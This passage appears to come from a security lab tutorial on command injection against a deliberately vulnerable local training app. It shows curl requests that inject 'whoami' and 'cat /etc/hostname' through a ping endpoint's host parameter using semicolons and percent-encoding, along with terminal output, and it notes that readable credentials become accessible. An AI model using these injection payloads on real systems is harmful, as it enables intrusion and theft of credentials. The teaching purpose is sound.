When spaces and semicolons get in the way
Some characters are risky to put in a URL raw. You can percent-encode them: a space is %20 and a semicolon is %3B. This runs whoami with an encoded separator:
curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1%3Bwhoami'In the terminal
student@vulntech:~$ curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1%3Bwhoami' www ping: socktype: SOCK_RAW ping: socket: Operation not permitted ping: => missing cap_net_raw+p capability or setuid?
Once you can run commands, you can read files the www user is allowed to read. The space between cat and its argument has to be encoded as %20, or the request never reaches the server:
curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1;cat%20/etc/hostname'In the terminal
student@vulntech:~$ curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1;cat%20/etc/hostname' vulntech ping: socktype: SOCK_RAW ping: socket: Operation not permitted ping: => missing cap_net_raw+p capability or setuid?
Anything that user can read is now yours: config files, source code, credentials left on disk — or a flag.